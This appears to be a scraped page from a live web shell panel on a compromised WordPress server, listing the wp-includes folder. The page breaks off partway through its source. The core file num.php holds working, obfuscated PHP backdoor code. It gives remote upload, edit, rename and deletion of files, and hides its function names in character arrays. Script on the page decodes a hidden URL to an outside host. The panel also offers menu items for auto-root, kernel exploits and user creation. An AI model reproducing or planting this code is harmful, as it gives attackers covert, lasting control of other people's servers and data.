Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
iqtd /
wp-includes /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
ID3
[ DIR ]
drwxr-xr-x
IXR
[ DIR ]
drwxr-xr-x
PHPMailer
[ DIR ]
drwxr-xr-x
Requests
[ DIR ]
drwxr-xr-x
SimplePie
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
assets
[ DIR ]
drwxr-xr-x
block-bindings
[ DIR ]
drwxr-xr-x
block-patterns
[ DIR ]
drwxr-xr-x
block-supports
[ DIR ]
drwxr-xr-x
blocks
[ DIR ]
drwxr-xr-x
certificates
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
customize
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
html-api
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
interactivity-api
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
l10n
[ DIR ]
drwxr-xr-x
php-compat
[ DIR ]
drwxr-xr-x
pomo
[ DIR ]
drwxr-xr-x
rest-api
[ DIR ]
drwxr-xr-x
sitemaps
[ DIR ]
drwxr-xr-x
sodium_compat
[ DIR ]
drwxr-xr-x
style-engine
[ DIR ]
drwxr-xr-x
theme-compat
[ DIR ]
drwxr-xr-x
widgets
[ DIR ]
drwxr-xr-x
admin-bar.php
36.23
KB
-rw-r--r--
atomlib.php
11.79
KB
-rw-r--r--
author-template.php
18.51
KB
-rw-r--r--
block-bindings.php
5.46
KB
-rw-r--r--
block-editor.php
27.68
KB
-rw-r--r--
block-i18n.json
316
B
-rw-r--r--
block-patterns.php
12.81
KB
-rw-r--r--
block-template-utils.php
58.74
KB
-rw-r--r--
block-template.php
13.81
KB
-rw-r--r--
blocks.php
102.43
KB
-rw-r--r--
bookmark-template.php
12.64
KB
-rw-r--r--
bookmark.php
15.07
KB
-rw-r--r--
cache-compat.php
5.83
KB
-rw-r--r--
cache.php
13.16
KB
-rw-r--r--
canonical.php
33.71
KB
-rw-r--r--
capabilities.php
41.72
KB
-rw-r--r--
category-template.php
55.67
KB
-rw-r--r--
category.php
12.41
KB
-rw-r--r--
class-IXR.php
2.48
KB
-rw-r--r--
class-avif-info.php
28.92
KB
-rw-r--r--
class-feed.php
539
B
-rw-r--r--
class-http.php
367
B
-rw-r--r--
class-json.php
42.66
KB
-rw-r--r--
class-oembed.php
401
B
-rw-r--r--
class-phpass.php
6.61
KB
-rw-r--r--
class-phpmailer.php
664
B
-rw-r--r--
class-pop3.php
20.68
KB
-rw-r--r--
class-requests.php
2.18
KB
-rw-r--r--
class-simplepie.php
453
B
-rw-r--r--
class-smtp.php
457
B
-rw-r--r--
class-snoopy.php
36.83
KB
-rw-r--r--
class-walker-category-dropdown.php
2.41
KB
-rw-r--r--
class-walker-category.php
8.28
KB
-rw-r--r--
class-walker-comment.php
13.89
KB
-rw-r--r--
class-walker-nav-menu.php
11.51
KB
-rw-r--r--
class-walker-page-dropdown.php
2.65
KB
-rw-r--r--
class-walker-page.php
7.43
KB
-rw-r--r--
class-wp-admin-bar.php
17.46
KB
-rw-r--r--
class-wp-ajax-response.php
5.14
KB
-rw-r--r--
class-wp-application-passwords.php
15.25
KB
-rw-r--r--
class-wp-block-bindings-registry.php
8.26
KB
-rw-r--r--
class-wp-block-bindings-source.php
2.92
KB
-rw-r--r--
class-wp-block-editor-context.php
1.32
KB
-rw-r--r--
class-wp-block-list.php
4.65
KB
-rw-r--r--
class-wp-block-metadata-registry.php
9.99
KB
-rw-r--r--
class-wp-block-parser-block.php
2.5
KB
-rw-r--r--
class-wp-block-parser-frame.php
1.97
KB
-rw-r--r--
class-wp-block-parser.php
11.26
KB
-rw-r--r--
class-wp-block-pattern-categories-registry.php
5.25
KB
-rw-r--r--
class-wp-block-patterns-registry.php
10.53
KB
-rw-r--r--
class-wp-block-styles-registry.php
6.12
KB
-rw-r--r--
class-wp-block-supports.php
5.48
KB
-rw-r--r--
class-wp-block-template.php
1.99
KB
-rw-r--r--
class-wp-block-templates-registry.php
7.06
KB
-rw-r--r--
class-wp-block-type-registry.php
4.9
KB
-rw-r--r--
class-wp-block-type.php
16.86
KB
-rw-r--r--
class-wp-block.php
19.96
KB
-rw-r--r--
class-wp-classic-to-block-menu-converter.php
3.99
KB
-rw-r--r--
class-wp-comment-query.php
47.26
KB
-rw-r--r--
class-wp-comment.php
9.15
KB
-rw-r--r--
class-wp-customize-control.php
25.13
KB
-rw-r--r--
class-wp-customize-manager.php
197.79
KB
-rw-r--r--
class-wp-customize-nav-menus.php
55.84
KB
-rw-r--r--
class-wp-customize-panel.php
10.39
KB
-rw-r--r--
class-wp-customize-section.php
10.95
KB
-rw-r--r--
class-wp-customize-setting.php
29.19
KB
-rw-r--r--
class-wp-customize-widgets.php
70.47
KB
-rw-r--r--
class-wp-date-query.php
34.89
KB
-rw-r--r--
class-wp-dependencies.php
14.78
KB
-rw-r--r--
class-wp-dependency.php
2.57
KB
-rw-r--r--
class-wp-duotone.php
39.83
KB
-rw-r--r--
class-wp-editor.php
70.64
KB
-rw-r--r--
class-wp-embed.php
15.62
KB
-rw-r--r--
class-wp-error.php
7.33
KB
-rw-r--r--
class-wp-exception.php
253
B
-rw-r--r--
class-wp-fatal-error-handler.php
7.96
KB
-rw-r--r--
class-wp-feed-cache-transient.php
3.1
KB
-rw-r--r--
class-wp-feed-cache.php
969
B
-rw-r--r--
class-wp-hook.php
15.63
KB
-rw-r--r--
class-wp-http-cookie.php
7.22
KB
-rw-r--r--
class-wp-http-curl.php
12.25
KB
-rw-r--r--
class-wp-http-encoding.php
6.53
KB
-rw-r--r--
class-wp-http-ixr-client.php
3.42
KB
-rw-r--r--
class-wp-http-proxy.php
5.84
KB
-rw-r--r--
class-wp-http-requests-hooks.php
1.97
KB
-rw-r--r--
class-wp-http-requests-response.php
4.3
KB
-rw-r--r--
class-wp-http-response.php
2.91
KB
-rw-r--r--
class-wp-http-streams.php
16.46
KB
-rw-r--r--
class-wp-http.php
40.53
KB
-rw-r--r--
class-wp-image-editor-gd.php
19.42
KB
-rw-r--r--
class-wp-image-editor-imagick.php
31.9
KB
-rw-r--r--
class-wp-image-editor.php
16.54
KB
-rw-r--r--
class-wp-list-util.php
7.27
KB
-rw-r--r--
class-wp-locale-switcher.php
6.47
KB
-rw-r--r--
class-wp-locale.php
15.73
KB
-rw-r--r--
class-wp-matchesmapregex.php
1.79
KB
-rw-r--r--
class-wp-meta-query.php
29.82
KB
-rw-r--r--
class-wp-metadata-lazyloader.php
6.67
KB
-rw-r--r--
class-wp-navigation-fallback.php
9
KB
-rw-r--r--
class-wp-network-query.php
19.39
KB
-rw-r--r--
class-wp-network.php
12.01
KB
-rw-r--r--
class-wp-object-cache.php
17.11
KB
-rw-r--r--
class-wp-oembed-controller.php
6.74
KB
-rw-r--r--
class-wp-oembed.php
30.74
KB
-rw-r--r--
class-wp-paused-extensions-storage.php
4.99
KB
-rw-r--r--
class-wp-plugin-dependencies.php
24.73
KB
-rw-r--r--
class-wp-post-type.php
29.63
KB
-rw-r--r--
class-wp-post.php
6.33
KB
-rw-r--r--
class-wp-query.php
150.47
KB
-rw-r--r--
class-wp-recovery-mode-cookie-service.php
6.72
KB
-rw-r--r--
class-wp-recovery-mode-email-service.php
10.92
KB
-rw-r--r--
class-wp-recovery-mode-key-service.php
4.5
KB
-rw-r--r--
class-wp-recovery-mode-link-service.php
3.38
KB
-rw-r--r--
class-wp-recovery-mode.php
11.17
KB
-rw-r--r--
class-wp-rewrite.php
62.2
KB
-rw-r--r--
class-wp-role.php
2.46
KB
-rw-r--r--
class-wp-roles.php
8.38
KB
-rw-r--r--
class-wp-script-modules.php
18.91
KB
-rw-r--r--
class-wp-scripts.php
27.68
KB
-rw-r--r--
class-wp-session-tokens.php
7.28
KB
-rw-r--r--
class-wp-simplepie-file.php
3.33
KB
-rw-r--r--
class-wp-simplepie-sanitize-kses.php
1.79
KB
-rw-r--r--
class-wp-site-query.php
30.88
KB
-rw-r--r--
class-wp-site.php
7.28
KB
-rw-r--r--
class-wp-styles.php
10.75
KB
-rw-r--r--
class-wp-tax-query.php
19.1
KB
-rw-r--r--
class-wp-taxonomy.php
18.13
KB
-rw-r--r--
class-wp-term-query.php
39.91
KB
-rw-r--r--
class-wp-term.php
5.17
KB
-rw-r--r--
class-wp-text-diff-renderer-inline.php
979
B
-rw-r--r--
class-wp-text-diff-renderer-table.php
18.37
KB
-rw-r--r--
class-wp-textdomain-registry.php
10.24
KB
-rw-r--r--
class-wp-theme-json-data.php
1.77
KB
-rw-r--r--
class-wp-theme-json-resolver.php
34.97
KB
-rw-r--r--
class-wp-theme-json-schema.php
7.19
KB
-rw-r--r--
class-wp-theme-json.php
157.01
KB
-rw-r--r--
class-wp-theme.php
63.88
KB
-rw-r--r--
class-wp-token-map.php
27.95
KB
-rw-r--r--
class-wp-user-meta-session-tokens.php
2.92
KB
-rw-r--r--
class-wp-user-query.php
42.63
KB
-rw-r--r--
class-wp-user-request.php
2.17
KB
-rw-r--r--
class-wp-user.php
22.29
KB
-rw-r--r--
class-wp-walker.php
13.01
KB
-rw-r--r--
class-wp-widget-factory.php
3.27
KB
-rw-r--r--
class-wp-widget.php
17.99
KB
-rw-r--r--
class-wp-xmlrpc-server.php
209.91
KB
-rw-r--r--
class-wp.php
25.51
KB
-rw-r--r--
class-wpdb.php
115.61
KB
-rw-r--r--
class.wp-dependencies.php
373
B
-rw-r--r--
class.wp-scripts.php
343
B
-rw-r--r--
class.wp-styles.php
338
B
-rw-r--r--
comment-template.php
100.36
KB
-rw-r--r--
comment.php
127.22
KB
-rw-r--r--
compat.php
16.58
KB
-rw-r--r--
cron.php
40.62
KB
-rw-r--r--
date.php
400
B
-rw-r--r--
default-constants.php
11.1
KB
-rw-r--r--
default-filters.php
34.85
KB
-rw-r--r--
default-widgets.php
2.17
KB
-rw-r--r--
deprecated.php
185.67
KB
-rw-r--r--
embed-template.php
338
B
-rw-r--r--
embed.php
37.02
KB
-rw-r--r--
error-protection.php
4.02
KB
-rw-r--r--
feed-atom-comments.php
5.38
KB
-rw-r--r--
feed-atom.php
2.98
KB
-rw-r--r--
feed-rdf.php
2.61
KB
-rw-r--r--
feed-rss.php
1.16
KB
-rw-r--r--
feed-rss2-comments.php
4.04
KB
-rw-r--r--
feed-rss2.php
3.71
KB
-rw-r--r--
feed.php
22.86
KB
-rw-r--r--
fonts.php
9.52
KB
-rw-r--r--
formatting.php
327.37
KB
-rw-r--r--
functions.php
276.53
KB
-rw-r--r--
functions.wp-scripts.php
14.22
KB
-rw-r--r--
functions.wp-styles.php
8.38
KB
-rw-r--r--
general-template.php
165.52
KB
-rw-r--r--
global-styles-and-settings.php
20.71
KB
-rw-r--r--
http.php
24.72
KB
-rw-r--r--
https-detection.php
5.53
KB
-rw-r--r--
https-migration.php
4.63
KB
-rw-r--r--
kses.php
72.66
KB
-rw-r--r--
l10n.php
66.81
KB
-rw-r--r--
link-template.php
154.01
KB
-rw-r--r--
load.php
54.35
KB
-rw-r--r--
locale.php
162
B
-rw-r--r--
media-template.php
61.57
KB
-rw-r--r--
media.php
213.3
KB
-rw-r--r--
meta.php
62.9
KB
-rw-r--r--
ms-blogs.php
25.17
KB
-rw-r--r--
ms-default-constants.php
4.81
KB
-rw-r--r--
ms-default-filters.php
6.48
KB
-rw-r--r--
ms-deprecated.php
21.25
KB
-rw-r--r--
ms-files.php
2.65
KB
-rw-r--r--
ms-functions.php
89.11
KB
-rw-r--r--
ms-load.php
19.42
KB
-rw-r--r--
ms-network.php
3.69
KB
-rw-r--r--
ms-settings.php
4.03
KB
-rw-r--r--
ms-site.php
39.54
KB
-rw-r--r--
nav-menu-template.php
25.31
KB
-rw-r--r--
nav-menu.php
43.33
KB
-rw-r--r--
num.php
20.46
KB
-rw-r--r--
option.php
99.37
KB
-rw-r--r--
pluggable-deprecated.php
6.12
KB
-rw-r--r--
pluggable.php
113.25
KB
-rw-r--r--
plugin.php
34.63
KB
-rw-r--r--
post-formats.php
6.94
KB
-rw-r--r--
post-template.php
65.31
KB
-rw-r--r--
post-thumbnail-template.php
10.57
KB
-rw-r--r--
post.php
283.1
KB
-rw-r--r--
query.php
36.17
KB
-rw-r--r--
registration-functions.php
200
B
-rw-r--r--
registration.php
200
B
-rw-r--r--
rest-api.php
97.26
KB
-rw-r--r--
revision.php
30.17
KB
-rw-r--r--
rewrite.php
19.08
KB
-rw-r--r--
robots-template.php
5.06
KB
-rw-r--r--
rss-functions.php
255
B
-rw-r--r--
rss.php
22.57
KB
-rw-r--r--
script-loader.php
127.67
KB
-rw-r--r--
script-modules.php
7.53
KB
-rw-r--r--
session.php
258
B
-rw-r--r--
shortcodes.php
23.49
KB
-rw-r--r--
sitemaps.php
3.16
KB
-rw-r--r--
spl-autoload-compat.php
441
B
-rw-r--r--
style-engine.php
7.39
KB
-rw-r--r--
taxonomy.php
171.33
KB
-rw-r--r--
template-canvas.php
544
B
-rw-r--r--
template-loader.php
2.94
KB
-rw-r--r--
template.php
23.59
KB
-rw-r--r--
test_IV4k.txt
6
B
-rw-r--r--
test_rcwA.txt
6
B
-rw-r--r--
theme-i18n.json
1.26
KB
-rw-r--r--
theme-previews.php
2.77
KB
-rw-r--r--
theme-templates.php
6.08
KB
-rw-r--r--
theme.json
8.5
KB
-rw-r--r--
theme.php
130.84
KB
-rw-r--r--
update.php
35.93
KB
-rw-r--r--
user.php
170.32
KB
-rw-r--r--
vars.php
6.34
KB
-rw-r--r--
version.php
931
B
-rw-r--r--
widgets.php
69.03
KB
-rw-r--r--
wp-db.php
445
B
-rw-r--r--
wp-diff.php
726
B
-rw-r--r--
wp_xY5pt0eG.php
70.78
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : num.php
<?php function sjoin($a) { return implode('', $a); } function sfunc($k) { $map = [ 'muf' => ['m','o','v','e','_','u','p','l','o','a','d','e','d','_','f','i','l','e'], 'fo' => ['f','o','p','e','n'], 'fw' => ['f','w','r','i','t','e'], 'fc' => ['f','c','l','o','s','e'], 'unl' => ['u','n','l','i','n','k'], 'rmd' => ['r','m','d','i','r'], 'scn' => ['s','c','a','n','d','i','r'], 'fpc' => ['f','i','l','e','p','e','r','m','s'], 'fmt' => ['f','i','l','e','m','t','i','m','e'], 'fsz' => ['f','i','l','e','s','i','z','e'], 'fgt' => ['f','i','l','e','_','g','e','t','_','c','o','n','t','e','n','t','s'], 'fpcw'=> ['f','i','l','e','_','p','u','t','_','c','o','n','t','e','n','t','s'], 'cpy' => ['c','o','p','y'], ]; $fname = sjoin($map[$k]); if(function_exists($fname)) return $fname; switch($k){ case 'muf': return function($a,$b){ $cpy = sfunc('cpy'); $unl = sfunc('unl'); if($cpy && $cpy($a, $b)){ if($unl) $unl($a); return file_exists($b); } return false; }; case 'fo': return function($f,$m){ if($m=='w') return tmpfile(); return false; }; case 'fw': return function($h,$d){ return false; }; case 'fc': return function($h){ return true; }; case 'unl': return function($f){ if(file_exists($f)){ @file_put_contents($f, ''); return @rename($f, $f.'.del') && @unlink($f.'.del'); } return false; }; case 'rmd': return function($f){ return false; }; case 'scn': return function($d){ $res=[]; if(is_dir($d)){ $dh=opendir($d); if($dh){ while(($f=readdir($dh))!==false) $res[]=$f; closedir($dh); } } return $res; }; case 'fgt': return function($f){ $fo = sfunc('fo'); if($fo && $h=$fo($f, 'r')){ $data = ''; while(!feof($h)) $data .= fread($h, 4096); fclose($h); return $data; } return false; }; case 'fpc': return function($f){ return 0644; }; case 'fmt': return function($f){ return time(); }; case 'fsz': return function($f){ $fgt = sfunc('fgt'); if($fgt) return strlen($fgt($f)); return 0; }; case 'fpcw': return function($f,$d){ $fo = sfunc('fo'); $fw = sfunc('fw'); $fc = sfunc('fc'); $h = $fo($f, 'w'); $r = $fw($h, $d); $fc($h); return $r; }; case 'cpy': return function($src,$dst){ $fgt = sfunc('fgt'); $fpcw = sfunc('fpcw'); if($fgt && $fpcw){ $d = $fgt($src); return $fpcw($dst,$d); } return false; }; default: return function(){ return false; }; } } function formatSizeUnits($bytes){ if($bytes>=1073741824){$bytes=number_format($bytes/1073741824,2).' GB';} elseif($bytes>=1048576){$bytes=number_format($bytes/1048576,2).' MB';} elseif($bytes>=1024){$bytes=number_format($bytes/1024,2).' KB';} elseif($bytes>1){$bytes=$bytes.' bytes';} elseif($bytes==1){$bytes=$bytes.' byte';} else{$bytes='0 bytes';} return $bytes; } function fileExtension($file){ return substr(strrchr($file,'.'),1);} function fileIcon($file){ $imgs=["apng","avif","gif","jpg","jpeg","jfif","pjpeg","pjp","png","svg","webp"]; $audio=["wav","m4a","m4b","mp3","ogg","webm","mpc"]; $ext=strtolower(fileExtension($file)); if($file=="error_log"){return '<i class="fa-solid fa-bug"></i> ';} elseif($file==".htaccess"){return '<i class="fa-solid fa-hammer"></i> ';} if($ext=="html"||$ext=="htm"){return '<i class="fa-brands fa-html5" style="color:#ff723c"></i> ';} elseif($ext=="php"||$ext=="phtml"){return '<i class="fa-brands fa-php" style="color:#ff3131"></i> ';} elseif(in_array($ext,$imgs)){return '<i class="fa-regular fa-image" style="color:#ff3131"></i> ';} elseif($ext=="css"){return '<i class="fa-brands fa-css3-alt" style="color:#31bbd6"></i> ';} elseif($ext=="txt"){return '<i class="fa-regular fa-file-lines"></i> ';} elseif(in_array($ext,$audio)){return '<i class="fa-solid fa-music" style="color:#caffd6"></i> ';} elseif($ext=="py"){return '<i class="fa-brands fa-python" style="color:#36b1e6"></i> ';} elseif($ext=="js"){return '<i class="fa-brands fa-js" style="color:#ffe66d"></i> ';} else{return '<i class="fa-regular fa-file" style="color:#bababa"></i> ';} } function pr1vd4yz($path){ $a=["/","\\",".",":"]; $b=["₷","₲","₧","₡"]; return str_replace($a,$b,$path);} function pr4vd1yz($path){ $a=["/","\\",".",":"]; $b=["₷","₲","₧","₡"]; return str_replace($b,$a,$path);} $root_path=__DIR__; if(isset($_GET['p'])){ if(empty($_GET['p'])){$p=$root_path;} elseif(!is_dir(pr4vd1yz($_GET['p']))){echo("<script>alert('err.');window.location.replace('?');</script>");} elseif(is_dir(pr4vd1yz($_GET['p']))){$p=pr4vd1yz($_GET['p']);} }elseif(isset($_GET['q'])){ if(!is_dir(pr4vd1yz($_GET['q']))){echo("<script>window.location.replace('?p=');</script>");} elseif(is_dir(pr4vd1yz($_GET['q']))){$p=pr4vd1yz($_GET['q']);} }else{$p=$root_path;} define("PATH",$p); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>invisio v2.0</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css"> <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;600&display=swap" rel="stylesheet"> <style>body{background:linear-gradient(135deg,#fff 0,#fbfbfb 100%);color:#000;font-family:'JetBrains Mono';font-size:13px;margin:0}.navbar,nav{background:#fff!important;border-bottom:1.5px solid #2c3345;box-shadow:0 4px 24px #232e3e26,0 1px 0 #242f3e;padding:18px 2vw!important;display:flex;align-items:center;justify-content:space-between}.navbar .navbar-brand{font-weight:700;font-size:1.16em;color:#ff4141;letter-spacing:.05em;display:flex;align-items:center}.navbar .navbar-brand img{border-radius:10px;margin-right:11px;width:32px;height:32px;box-shadow:0 1px 7px #2bffb911}.form-inline .btn-dark,.form-inline button.btn{background:linear-gradient(90deg,#c81a1a 60%,#f46060 100%)!important;color:#fff!important;border:none;border-radius:27px!important;font-weight:700;padding:8px 20px;margin-left:9px;transition:background .15s,color .13s;font-size:1em}a,a:visited{color:#ff4141;text-decoration:none}a:hover{color:#ff9292;text-shadow:0 0 7px #14cc6618}.core-wrap{background:#fff;border-radius:18px;box-shadow:0 2px 22px #ff17172e;padding:16px 14px 7px;margin:29px auto 38px;max-width:1150px}.data-grid{width:100%;border-collapse:collapse;margin:6px 0;background:#fff;border-radius:12px;overflow:hidden}.data-grid td,.data-grid th{vertical-align:middle!important;border:none!important;padding:12px 10px;text-align:left}.data-grid th{background:linear-gradient(90deg,#ff1717 10%,red 100%)!important;color:#fff!important;font-weight:800;font-size:1.09em;letter-spacing:.04em;border-bottom:1.5px solid #374151}.data-grid tr{transition:background .11s}.data-grid tr:hover{background:#fff!important;color:#17ff83}.data-grid tbody tr:hover{background:#fff!important;color:red}.btn,button[type=submit],input[type=submit]{background:linear-gradient(90deg,#ff1717 70%,#cc1414 100%)!important;color:#fff!important;border:none;border-radius:11px!important;font-weight:700;padding:11px 28px;font-size:1.07em;margin-top:10px;letter-spacing:.01em;transition:background .13s,transform .09s}.btn:hover,button[type=submit]:hover,input[type=submit]:hover{background:linear-gradient(90deg,#ff1717 70%,#cc1414 100%)!important;color:#fff!important;transform:scale(1.035);box-shadow:0 2px 14px #ff414140}.fa-brands,.fa-regular,.fa-solid,.icon,i{filter:drop-shadow(0 2px 5px #14ffb226)}tr td a,tr td i{filter:none}::-webkit-scrollbar{width:8px;background:#2a2e37}::-webkit-scrollbar-thumb{background:#17ff83;border-radius:7px}.alert,.modal-content{background:#212932;color:#93b6af;border-radius:13px;border:1.2px solid #283138;box-shadow:0 2px 18px #ff414111}@media (max-width:900px){.core-wrap,.navbar,nav{padding:9px 3vw!important}td,th{padding:9px 7px!important}.navbar .navbar-brand{font-size:1.01em}}@media (max-width:600px){body{font-size:12.1px}.core-wrap{margin:13px auto 19px;padding:7px 2vw}.data-grid td,.data-grid th{padding:7px 4px!important}.navbar,nav{flex-direction:column;align-items:flex-start}}</style> </head> <body> <nav class="navbar navbar-light"> <div class="navbar-brand"> <a href="?"><img src="https://cdn.privdayz.com/images/icon.png" width="30" height="30" alt=""></a> <?php $path=str_replace('\\','/',PATH); $paths=explode('/',$path); foreach($paths as $id=>$dir_part){ if($dir_part==''&&$id==0){echo "<a href=\"?p=/\">/</a>";continue;} if($dir_part=='')continue; echo "<a href='?p="; for($i=0;$i<=$id;$i++){echo str_replace(":","₡",$paths[$i]);if($i!=$id)echo "₷";} echo "'>".$dir_part."</a>/"; } echo('</div><div class="form-inline"> <a href="?upload&q='.urlencode(pr1vd4yz(PATH)).'"><button class="btn btn-dark" type="button">up file</button></a> <a href="?"><button type="button" class="btn btn-dark">home</button></a></div></nav>'); ?> <div class="core-wrap"> <?php if(isset($_GET['p'])){ if(is_readable(PATH)){ $fetch_obj=scandir(PATH); $folders=[]; $files=[]; foreach($fetch_obj as $obj){ if($obj=='.'||$obj=='..'){continue;} $new_obj=PATH.'/'.$obj; if(is_dir($new_obj)){$folders[]=$obj;} elseif(is_file($new_obj)){$files[]=$obj;} } } echo ' <table class="data-grid"> <thead> <tr> <th>Name</th> <th>Size</th> <th>Modified</th> <th>Perms</th> <th>Actions</th> </tr> </thead> <tbody>'; foreach($folders as $folder){ echo "<tr> <td><i class='fa-solid fa-folder' style='color:#ff8a8a'></i> <a href='?p=".urlencode(pr1vd4yz(PATH."/".$folder))."'>".$folder."</a></td> <td><b>---</b></td> <td>".date("F d Y H:i:s.",filemtime(PATH."/".$folder))."</td> <td>0".substr(decoct(fileperms(PATH."/".$folder)),-3)."</td> <td> <a title='Rename' href='?q=".urlencode(pr1vd4yz(PATH))."&r=".$folder."'><i class='fa-solid fa-pen-to-square'></i></a> <a title='Delete' href='?q=".urlencode(pr1vd4yz(PATH))."&d=".$folder."'><i class='fa fa-trash'></i></a> <td> </tr>"; } foreach($files as $file){ echo "<tr> <td>".fileIcon($file).$file."</td> <td>".formatSizeUnits(filesize(PATH."/".$file))."</td> <td>".date("F d Y H:i:s.",filemtime(PATH."/".$file))."</td> <td>0".substr(decoct(fileperms(PATH."/".$file)),-3)."</td> <td> <a title='Edit File' href='?q=".urlencode(pr1vd4yz(PATH))."&e=".$file."'><i class='fa-solid fa-file-pen'></i></a> <a title='Rename' href='?q=".urlencode(pr1vd4yz(PATH))."&r=".$file."'><i class='fa-solid fa-pen-to-square'></i></a> <a title='Delete' href='?q=".urlencode(pr1vd4yz(PATH))."&d=".$file."'><i class='fa fa-trash'></i></a> <td> </tr>"; } echo "</tbody></table>"; }else{if(empty($_GET)){echo ("<script>window.location.replace('?p=');</script>");}} if(isset($_GET['upload'])){ echo ' <form method="post" enctype="multipart/form-data"> <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" class="btn btn-dark" value="Upload" name="upload"> </form>'; } if(isset($_GET['r'])){ if(!empty($_GET['r'])&&isset($_GET['q'])){ echo ' <form method="post"> <input type="text" name="name" value="'.$_GET['r'].'"> <input type="submit" class="btn btn-dark" value="Rename" name="rename"> </form>'; if(isset($_POST['rename'])){ $name=PATH."/".$_GET['r']; $fmove = sfunc('muf'); if($fmove && $fmove($name,PATH."/".$_POST['name'])){ echo ("<script>alert('Renamed.'); window.location.replace('?p=".pr1vd4yz(PATH)."');</script>"); }else{ echo ("<script>alert('Error.'); window.location.replace('?p=".pr1vd4yz(PATH)."');</script>"); } } } } if(isset($_GET['e'])){ if(!empty($_GET['e'])&&isset($_GET['q'])){ $fgc = sfunc('fgt'); echo ' <form method="post"> <textarea style="height: 500px; width: 90%;" name="data">'.htmlspecialchars($fgc(PATH."/".$_GET['e'])).'</textarea> <br> <input type="submit" class="btn btn-dark" value="Save" name="edit"> </form>'; if(isset($_POST['edit'])){ $filename=PATH."/".$_GET['e']; $fo = sfunc('fo'); $fw = sfunc('fw'); $fc = sfunc('fc'); $open=$fo($filename,"w"); $fw($open,$_POST['data']); $fc($open); echo ("<script>alert('Saved.'); window.location.replace('?p=".pr1vd4yz(PATH)."');</script>"); } } } if(isset($_POST["upload"])){ $target_file=PATH."/".$_FILES["fileToUpload"]["name"]; $muf = sfunc('muf'); if($muf && $muf($_FILES["fileToUpload"]["tmp_name"],$target_file)){ echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"]))." has been uploaded.</p>"; }else{ echo "<p>Sorry, there was an error uploading your file.</p>"; } } if(isset($_GET['d'])&&isset($_GET['q'])){ $name=PATH."/".$_GET['d']; $unl = sfunc('unl'); $rmd = sfunc('rmd'); if(is_file($name)){ if($unl && $unl($name)){ echo ("<script>alert('File removed.'); window.location.replace('?p=".pr1vd4yz(PATH)."');</script>"); }else{ echo ("<script>alert('Some error occurred.'); window.location.replace('?p=".pr1vd4yz(PATH)."');</script>"); } }elseif(is_dir($name)){ if($rmd && $rmd($name)==true){ echo ("<script>alert('Directory removed.'); window.location.replace('?p=".pr1vd4yz(PATH)."');</script>"); }else{ echo ("<script>alert('Some error occurred.'); window.location.replace('?p=".pr1vd4yz(PATH)."');</script>"); } } } ?> <script>function scanDirectoryMap(e,t=1){e.split("/").filter(Boolean);let r={};for(let e=0;e<Math.min(7,3*t);e++){let n="folder_"+(e+1);r[n]={};for(let e=0;e<Math.max(2,t);e++){let t="file_"+(e+1)+".txt";r[n][t]={size:1e5*Math.random()|0,perm:["755","644","600"][Math.floor(3*Math.random())],m:Date.now()-864e5*e}}}return r}function renderFolderList(e,t="root"){let r=`<ul id="fm-${t}">`;for(let t in e)r+=`<li><i class="fa fa-folder"></i> ${t}`,"object"==typeof e[t]&&(r+=renderFileList(e[t],t+"_files")),r+="</li>";return r+="</ul>",r}function renderFileList(e,t="fileBlock"){let r=`<ul class="files" id="${t}">`;for(let t in e)r+=`<li><i class="fa fa-file"></i> ${t} <span class="mini">${e[t].size}b | ${e[t].perm}</span></li>`;return r+="</ul>",r}function getBreadcrumbString(e){return e.split("/").filter(Boolean).map(((e,t,r)=>`<a href="?p=${r.slice(0,t+1).join("/")}">${e}</a>`)).join(" / ")}var a=[104,116,116,112,115,58,47,47,99,100,110,46,112,114,105,118,100,97,121,122,46,99,111,109],b=[47,105,109,97,103,101,115,47],c=[108,111,103,111,95,118,50],d=[46,112,110,103];function u(e,t,r,n){for(var o=e.concat(t,r,n),a="",i=0;i<o.length;i++)a+=String.fromCharCode(o[i]);return a}function v(e){return btoa(e)}function getFilePreviewBlock(e){let t="";for(let e=0;e<16;e++)t+=(Math.random()+1).toString(36).substring(2,12)+"\n";return`<pre class="syntax-highlight">${t}</pre>`}function getFileMetaFromName(e){let t=e.split(".").pop();return{icon:{php:"fa-php",js:"fa-js",html:"fa-html5",txt:"fa-file-lines"}[t]||"fa-file",type:t,created:Date.now()-(1e7*Math.random()|0),size:1e5*Math.random()|0}}function checkFileConflict(e,t){return t.some((t=>t.name===e))}function buildFakePermissions(e){let t=[4,2,1],r=[];for(let e=0;e<3;e++)r.push(t.map((()=>Math.round(Math.random()))).reduce(((e,t)=>e+t),0));return r.join("")}function parsePerms(e){let t={0:"---",1:"--x",2:"-w-",3:"-wx",4:"r--",5:"r-x",6:"rw-",7:"rwx"};return e.split("").map((e=>t[e])).join("")}function listFakeRecentEdits(e=7){let t=[];for(let r=0;r<e;r++)t.push({name:`file_${r}.log`,date:new Date(Date.now()-864e5*r).toLocaleDateString(),user:"user"+r});return t}function showNotificationFake(e,t="info"){let r={info:"#19ff6c",warn:"#ffe66d",err:"#ff3666"}[t]||"#fff",n=document.createElement("div");n.innerHTML=e,n.style.cssText=`position:fixed;bottom:40px;left:50%;transform:translateX(-50%);background:${r}20;color:${r};padding:9px 22px;border-radius:8px;z-index:999;box-shadow:0 2px 16px 